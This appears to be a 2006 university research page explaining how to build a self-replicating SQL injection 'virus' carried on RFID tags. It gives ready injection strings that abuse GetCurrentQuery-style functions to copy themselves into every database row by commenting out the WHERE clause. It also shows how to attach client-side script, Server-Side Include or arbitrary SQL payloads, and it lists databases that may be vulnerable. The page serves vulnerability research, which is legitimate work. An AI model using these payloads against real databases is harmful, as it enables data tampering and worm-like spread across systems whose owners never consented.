Go to the homepage of the Vrije Universiteit. Go to the homepage of the faculty of sciences.

SQL Virus Using Self-Referential Queries

Database systems usually offer a way to obtain the currently running queries for system administration purposes. However, these functions return queries as an normal string, which makes it possible to store them in the database, thereby replicating the query.
We have developed two versions of the virus, one that is contained in a single query, and one that requires multiple queries. The virus using a single query requires less features from the database, but cannot carry SQL code as a payload. The virus using multiple queries requires a database that supports this, but it does allow SQL code as a payload.


For this virus to work, it is required that the tag's contents are not escaped properly. To handle replication, the database must provide a GetCurrentQuery-style function to which the middleware has access. To prevent errors, it is required that the API allows comments to be entered.

For the exploit using multiple queries, the database API must alo allow multiple queries in a single call.


When a tag is scanned, its contents are loaded into the database using Query  1. The tag's contents and id will be inserted at the marked locations.

UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'
Query  1 - Updating known contents

If the contents read from the tag are not escaped properly, inserting a single quote (') into the contents field will allow an attacker to modify the query. This exploit modifies the query so that the virus is copied into the NewContents field. When a tag's content field is updated, the virus will be copied onto the tag, allowing it to infect other systems.

Single Query

The attack can be performed using a single query, as in Exploit  1. This shows the data stored on the tag. When the tag is scanned, Query  2 is formed.

Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) --
Exploit  1 - Using single query
UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Query  2 - Exploited query using Exploit  1
Rather than just updating the OldContents field, the query now also updates the NewContents field. The WHERE clause has been disabled by turning it into an SQL comment (--), so that all rows in the database are affected.
The SUBSTR(GetCurrentQuery (),43,57) part of the exploit strips of the part of the query inserted by the middleware (43 is the length of the string UPDATE ContainerContents SET OldContents='; 57 is the length of the exploit).

When the query has been executed, the table now contains the values shown in Table  1. Each row contains the exploit in the NewContents field, which will be written back to any tags that are scanned, including the tag that was originally contaminated.

TagId NewContents OldContents
123 Apples', NewContents=SUBSTR(GetCurrentQuery (),43,121) -- Apples
456 Apples', NewContents=SUBSTR(GetCurrentQuery (),43,121) -- Apples
789 Apples', NewContents=SUBSTR(GetCurrentQuery (),43,121) -- Apples
Table  1 - ContainerContents after contamination

Inserting a Payload

Using a single query, it is generally not possible to include SQL code as a payload. However, it is possible to include client-side scripting and Server-Side Include attacks. These can be inserted after the comment, so that the database system ignores them, as in Exploit  2. When including a payload, the third parameter to the SUBSTR function must be adjusted to the new length of the exploit.

Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
Exploit  2 - Using single query and payload

Multiple Queries

The same attack can be executed using multiple queries, as in Exploit  3, to allow arbitrary SQL code to be inserted.

Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Exploit  3 - Using multiple queries and payload
The payload must be included twice, once to copy it to the database and once to execute it.


When using a single query, the virus can be used to propagate client-side scripting and Server-Side Include attacks. Attacks against the database are limited to what can be achieved in a single update.

When using multiple queries, any SQL code can be inserted, allowing the full range of attacks against the database.

Concrete Examples

The following examples are available:

Affected Systems

Oracle (OCI/iSQL*Plus) allows comments in SQL code. Oracle also allows SQL statements in a single API call, when used through iSQL*Plus. It also provides GetCurrentQuery-style functionality, through system views. Administrator privileges are required to use the functionality.

PostgreSQL, MySQL and SQL Server allow comments and multiple queries. They also provide GetCurrentQuery-style functionality and may thus be vulnerable. However, we have not yet been able to create reliable viruses for these databases. For more information on the problems with their GetCurrentQuery-style functionality see the pages on PostgreSQL, MySQL and SQL Server.

Up How to Write an RFID Virus
SQL Virus Using Quines Next

Last modified: Thursday, 02 March 2006 21:34, CET
If you spot a mistake, please e-mail the maintainer of this page.
Your browser does not fully support CSS. This may result in visual artifacts.